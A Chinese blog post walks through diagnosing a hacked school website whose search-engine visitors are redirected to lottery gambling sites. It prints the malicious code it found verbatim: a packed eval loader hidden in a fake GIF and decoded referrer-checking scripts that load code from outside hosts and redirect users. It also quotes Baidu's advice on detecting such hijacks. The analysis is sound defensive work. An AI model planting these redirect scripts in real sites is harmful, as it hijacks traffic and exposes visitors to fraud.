主頁搜尋結果跳轉到其他網站--網站安全

阿新 • • 發佈：2019-01-17

案例：XX主頁從搜尋引擎開啟會變為六合彩，直接輸入網址一切正常，什麼原理呢

分析原因：1.機房arp攻擊2,。被插入惡意程式碼

檢測步驟：

1.查詢安全軟體日誌，定位作亂的mac地址，查閱ip/mac表，檢查對應主機（發現是一臺曾經被黑的主機時間大概2011年1到2月份）

2.查詢惡意程式碼，使用dreamever的查詢功能，全站檢索關鍵詞無果，懷疑js或者css引用，再次檢視無果。

3.最笨的方法開始，用文字編輯器Editplus挨個點選圖片jpg、gif，swf等檔案，查到一個惡意圖片檔案。

============================惡意檔案head.gif================================================

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l="";k d=9.m;n((d.2("%1%p%o%1%j%g%1%c%f")>0)||(d.2("8=%7%6%a%3%4%5")>0)||(d.2("8=%3%q%r%A%7%6%a%3%4%5")>0)){9.s("<b u=v:\\/\\/x.w.y.\\/t\\/z.D ><\\/b>")}B{i.C.h="e.E"}',41,41,'|E5|indexOf|CF|B2|CA|F9|C1|wd|document|BA|script|BD||index|A9|88|href|window|90|var|GIF89a|referrer|if|AD|85|E3|B8|writeln|pic|src|http|89614|www|com|bby|DB|else|location|gif|aspx'.split('|'),0,{}))

============================================================================================

看到eval(function(p,a,c,k,e,d)

推測javascript語句，使用google，而不是百度，很糾結（百度裡谷歌一下）

找到一種解決加密的方式

新建一個html文件

==================================================

<textareaname=tttstyle='width:100%;height:300' ></textarea>

紅色程式碼部分return p修改為xxx.value=p ，xxx這裡隨便輸入一個ttt，和標題對應

瀏覽器開啟

============================================================================================

GIF89a="";var d=document.referrer;if((d.indexOf("%E5%85%AD%E5%90%88%E5%BD%A9")>0)||(d.indexOf("wd=%C1%F9%BA%CF%B2%CA")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA")>0)){document.writeln("<script src=http:\/\/www.89614.com.\/pic\/bby.gif ><\/script>")}else{window.location.href="index.aspx"}

====================================================================================================

再次得到一個地址，

迅雷下載，直接瀏覽器是打不開的

==========================================

GIF89a="";
var d=document.referrer;
var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%C1%F9%BA%CF%B2%CA|%E5%85%AD%E5%90%88%E5%BD%A9))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%CC%D8%C2%EB|%E7%89%B9%E7%A0%81))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%C8%FC%C2%ED%BB%E1|%E8%B5%9B%E9%A9%AC%E4%BC%9A))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%B0%D7%D0%A1%BD%E3|%E7%99%BD%E5%B0%8F%E5%A7%90))/;
if(re.test(d)){
document.writeln("<script src=http:\/\/www.cy099.com.\/pic\/bbyy.gif><\/script>");
}
=============================================
再次一段地址

===========================================================================================

GIF89a="";
var d=document.referrer;
if ((d.indexOf("wd=%C1%F9%BA%CF%B2%CA")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA")>0)||(d.indexOf("google")>0)||(d.indexOf("sogou")>0)||(d.indexOf("soso")>0)){
if((d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA%CC%D8%C2%EB")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA%D7%CA%C1%CF")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA%B9%AB%CB%BE")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA%CD%F8%D5%BE")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA%CD%BC%BF%E2")>0)||(d.indexOf("wd=%C1%F9%BA%CF%B2%CA%BF%AA%BD%B1%BD%E1%B9%FB")>0)){
//alert("");
//window.close();
//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");

}
else{
if((window.location.href.indexOf("sxuec")>0)||(window.location.href.indexOf("hust")>0)||(window.location.href.indexOf("neimu")>0)||(window.location.href.indexOf("cnautonews")>0)){

//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");

}
else{
//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");
}
}
}
====================================================

元凶找到，nnd，時間過去了4個小時，

===================================================================

原理分析

引用前人，不是原創（有修改）

從百度裡搜尋我的網站排名的關鍵詞，在排名的搜尋結果頁面點選想進入網站，可是開啟後立刻跳轉的一些非法網站上去了，就連直接搜尋網址的結果頁也是這樣。可是如果在瀏覽器的位址列裡輸入自己網站的網址卻能正常進去瀏覽網站。最終的結論只有一個，很多的非法網站通過病毒攻擊劫持了你網站通過搜尋引擎來的流量。

這種搜尋引擎流量劫持到底是怎麼回事呢，原理是什麼，需要怎麼改正？

搜尋引擎流量劫持流程圖：

讓我們從頭開始講起。

細心的朋友們可能已經發現了，如果我們直接輸入被暗鏈攻擊的網站的網址，是一切正常OK的；但是如果從百度的搜尋結果中直接點選，就會跳轉到非法網站中去，而且之前百度搜索結果頁面也變成非法網站了。這到底是怎麼回事兒？原來都是那個head.gif檔案在裝怪。

可是，看上去這不過就是個gif圖片檔案嘛，直接在瀏覽器中開啟，還無法瀏覽呢。別急，讓我們看看這個檔案的真面目，它可是畫過妝的。來看head.gif檔案裡面到底有什麼：

GIF89a="";

var d=document.referrer;

((d.indexOf("%E5%85%AD%E5%90%88%E5%BD%A9")>0)|| /*wd=六合彩*/

(d.indexOf("wd=%C1%F9%BA%CF%B2%CA")>0)|| /*wd=六合彩*/

(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA")>0)) /*wd=香港六合彩*/

{

document.writeln("<script src=http:\/\/www.89614.com.\/pic\/bby.gif ><\/script>")

}

else

{window.location.href="index.aspx"}

這個head.gif檔案並不是一個圖片檔案，而是一個JavaScript檔案，不過是改了一個字尾名，其實一樣可以正常執行。這下就不難理解了，無論是我們手動輸入網址，還是從百度直接點選過來，由於網站已經被暗鏈攻擊了，其預設頁面被設定成了這個head.gif檔案，這個檔案會通過HTTP Referrer來判斷使用者是從哪裡來的。如果是使用者手動輸入的，則開啟網站原來的index。aspx頁面；如果來自百度搜索，那就跳轉到另一個gif檔案：http:\/\/www.89614.com.\/pic\/bby.gif

看上去這也是一個gif檔案呀，不過有了上面的例子，都應該可以猜到，其實這也是一個改了字尾名的JavaScript檔案，

(re.test(d)){
document.writeln("<script src=http:\/\/www.cy099.com.\/pic\/bbyy.gif><\/script>");
}

========================================================================

轉碼看著舒服點，居然用了可惡的gb2312編碼，還香港公司呢，怎麼不用utf

===============================================================

GIF89a="";
var d=document.referrer;
if ((d.indexOf("wd=六合彩")>0)||(d.indexOf("wd=香港六合彩")>0)||(d.indexOf("google")>0)||(d.indexOf("sogou")>0)||(d.indexOf("soso")>0)){
if((d.indexOf("wd=香港六合彩特碼")>0)||(d.indexOf("wd=香港六合彩資料")>0)||(d.indexOf("wd=香港六合彩公司")>0)||(d.indexOf("wd=香港六合彩網站")>0)||(d.indexOf("wd=香港六合彩相簿")>0)||(d.indexOf("wd=六合彩開獎結果")>0)){
//alert("");
//window.close();
//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");

}
else{
if((window.location.href.indexOf("sxuec")>0)||(window.location.href.indexOf("hust")>0)||(window.location.href.indexOf("neimu")>0)||(window.location.href.indexOf("cnautonews")>0)){

//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");

}
else{
//window.open("http://www.97690.com.0597un.com./");
window.location.href="http://www.97690.com.0597un.com./";
window.opener.navigate("http://www.97569.com.0597un.com./");
}
}
}
======================================================================================

哦，這個檔案就更加清楚了，它也在做判斷，

如果來自百度搜索結果，谷歌結果，soso結果，搜狗結果

那就跳轉到非法網站去，否則什麼都不幹。

至此，一次暗鏈攻擊就已經完成了

=========================================================================================

暗鏈攻擊要獲得成功的話，需要具備這些前提條件：

當用戶直接訪問正規網站的時候，惡意檔案會將使用者的http請求轉跳到正常頁面，於是使用者不容易發現網站異常；但是如果使用者是從搜尋結果頁面點進進入的話，該惡意檔案就會將使用者http請求轉跳到非法網站。

這樣做對黑客有什麼好處呢？很明顯，正規網站在搜尋結果中的排名往往比較靠前，如果被植入惡意檔案，搜尋引擎的蜘蛛也會被跳轉到該非法網站（我猜的，有待考證），由於搜尋引擎目前還無法識別出這個網站被攻擊了，於是誤以為這個正規網站的域名下面，放的是該非法網站的內容，於是照常收錄。再後來，使用者在進行搜尋的時候，就會出現點選了該正規網站的連結，開啟的卻是非法網站。

原文來自：

=====================================================================================================================

攻擊行為還原，反推攻擊步驟

========================================

首先，攻擊者通過某種手段獲得了網站的控制權；

接著，把該網站首頁添加了能讓百度等搜尋引擎找到的某些關鍵詞；

然後，在首頁引用到的JS檔案中添加了一段經過包裝（packed）的指令碼，該指令碼會使瀏覽器自動請求其他域的一個特製的gif檔案，該gif檔案其實包含了一段能夠判斷請求是否來自搜尋引擎，從而使瀏覽器重定向到某六*合*彩網站的JS指令碼。

這樣，當受害者在搜尋引擎搜“ 六*合*彩”等關鍵詞並且點選搜尋結果的連結，就會被重定向到某六*合*彩網站。

裡面主要是利用了document.referrer這個HTML DOM 屬性

===========================================================

分析過程：

1、開啟百度，搜尋 “xx學校” ；

2、開啟Wireshark，啟動監聽，點選搜尋結果裡出現的某xx網站的連結；

3、等某政府網站被重定向到某六*合*彩網站完畢後停止監聽；

4、分析監聽記錄，可以看到攻擊者在內容最後都被添加了一段經過包裝（packed）的JS指令碼：

============轉換java加密的程式碼，存為html即可===============================

<textarea name=ttt style='width:100%;height:300' ></textarea>
<script type=text/javascript>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}ttt.value=p;}('l="";k d=9.m;n((d.2("%1%p%o%1%j%g%1%c%f")>0)||(d.2("8=%7%6%a%3%4%5")>0)||(d.2("8=%3%q%r%A%7%6%a%3%4%5")>0)){9.s("<b u=v:\\/\\/x.w.y.\\/t\\/z.D ><\\/b>")}B{i.C.h="e.E"}',41,41,'|E5|indexOf|CF|B2|CA|F9|C1|wd|document|BA|script|BD||index|A9|88|href|window|90|var|GIF89a|referrer|if|AD|85|E3|B8|writeln|pic|src|http|89614|www|com|bby|DB|else|location|gif|aspx'.split('|'),0,{}))

</script>

===============================

百度給出的解釋

我的網站被標記風險標誌，但標題和描述都與我網站無關，是不是百度弄錯了？

A:: 百度搜索結果中展現的內容，是對所抓取頁面的真實反映。若出現了您所述的情況，並非是百度搜索的問題，而是您的網站遭到黑客篡改所致。黑客通過侵入您的網站，新增針對百度蜘蛛抓取的頁面，這樣百度收錄到頁面便與您網站的內容毫不相關，因而在搜尋結果中顯示的標題和摘要內容自然也與您的網站無關。
此類被黑是針對網站UA（user-agent）進行的，在此為您提供兩條檢查的方法以供參考：
1）linux 下可使用wget命令：
wget http://xxxxxx/xx -UBaiduspider -O baiduUA.html
wget http://xxxxxx/xx -O nullUA.html
開啟檔案baiduUA.html，nullUA.html，對比內容是否一致，若不一致證明伺服器對不同UA返回不同結果。如果您沒有設定伺服器，那麼您的網站就是被黑了。
2）使用firefox 外掛 user agent switcher，設定不同的user agent，然後用firefox開啟您的首頁，如果頁面不一致且您並沒有設定伺服器，那麼您的網站就是被黑了。
請您務必及時檢查並修復您的網站，或尋求技術人員的幫助，以減小由此帶來的損失。

Q:: 為什麼我在瀏覽我的網站時沒有發現問題，在百度搜索中卻會被標記風險標誌？

A:: 通過其他途徑瀏覽網站沒有發現問題，並不代表網站沒有被黑。由於百度搜索是影響力較大的搜尋引擎，目前國內站點的首頁被黑，一半以上是僅針對百度搜索的。也就是說，只有通過百度搜索結果點選進入網站時，被黑的情況才會展現出來。
具體來講，黑客通過侵入您的網站，新增針對來自百度搜索使用者才會展現的頁面，這樣一來使用者再通過百度搜索進入您的網站時展現的便是黑客製造的頁面，而直接訪問和通過其他搜尋引擎的訪問時，這些被黑頁面是不會展現出來的。這對您的網站和網站使用者的傷害極大，請您及時對網站進行檢查並修復。
對於此類針對網站referer功能的黑客行為，我們提供兩條具體檢查方法以供您或者網站技術人員參考：
1）linux 下可使用wget命令：
wget http://xxxxxx/xx --referer=http://www.baidu.com/s?wd=abc -O baiduREF.html
wget http://xxxxxx/xx -O nullREF.html
開啟檔案baiduREF.html，nullREF.html，對比內容是否一致，若不一致證明伺服器對不同referer返回不同結果。如果您沒有設定伺服器，那麼您的網站就是被黑了。
2）使用firefox 外掛 RefControl，設定不同的referer，然後用firefox開啟您的首頁，如果不同referer開啟的頁面不一致且您並沒有設定伺服器，那麼您的網站就是被黑了。

Q:: 我的網站提示存在風險，如何快速檢查出網站存在的異常呢？

A:: site語法檢索是最常用的檢查方式，即在搜尋框輸入"site:您的網站域名"（例：site:baidu.com），檢視網站收錄情況，是否出現頁面數量暴增，或目錄異常的現象，並觀察搜尋結果中的標題和摘要內容是否與網站內容相關。也可通過檢索"site:您的網站域名被黑熱門詞"的形式來篩選出被黑內容（例：site:baidu.com 六合彩）。被黑熱門詞一般集中在遊戲類和色情類，如"六合彩"、"qq刷鑽"、"成人電影"等。

主頁搜尋結果跳轉到其他網站--網站安全

主頁搜尋結果跳轉到其他網站--網站安全

phpcms的後臺網站直接訪問正常，百度快照收錄鏈接訪問跳轉到非法網站

網站被惡意跳轉到賭博網站上面了,企業公司網站被黑的怎麼辦？

長按識別二維碼微信喚起喚醒跳轉任意url網站地址技術ticket生成規則介面加密php

手機訪問PC網站自動跳轉到手機網站程式碼

js判斷手機網站,手機瀏覽器檢測,並跳轉到手機網站程式碼

Web前端：如何實現選擇select下拉框選中跳轉其他頁面

點擊鏈接，結果跳轉到另外一個網頁

Servlet中如何實現按鈕的跳轉其他頁面

在servlet中實現彈出提示框，點選確認後跳轉其他頁面

android 仿 ios 搜尋介面跳轉效果

Chrome右鍵/位址列搜尋自動跳轉到google.com.hk解決辦法

struts2學習筆記（四）——訪問Servlet的API&結果跳轉&資料封裝

錨鏈接頁面跳轉其他頁面指定位置

安卓開發跳轉其他app指定activity

分頁查詢儲存搜尋條件跳轉連結再返回帶回顯思路

listview 儲存當前位置,跳轉其他頁面,返回時顯示當前Item

PHP網站從Apache轉移到Nginx後只能訪問主頁跳轉產生404錯誤的原因和解決辦法

網站被黑搜尋快照被劫持跳轉到另一網站

禁止瀏覽器主頁自動跳轉hao123等流氓網站

主頁搜尋結果跳轉到其他網站--網站安全

相關推薦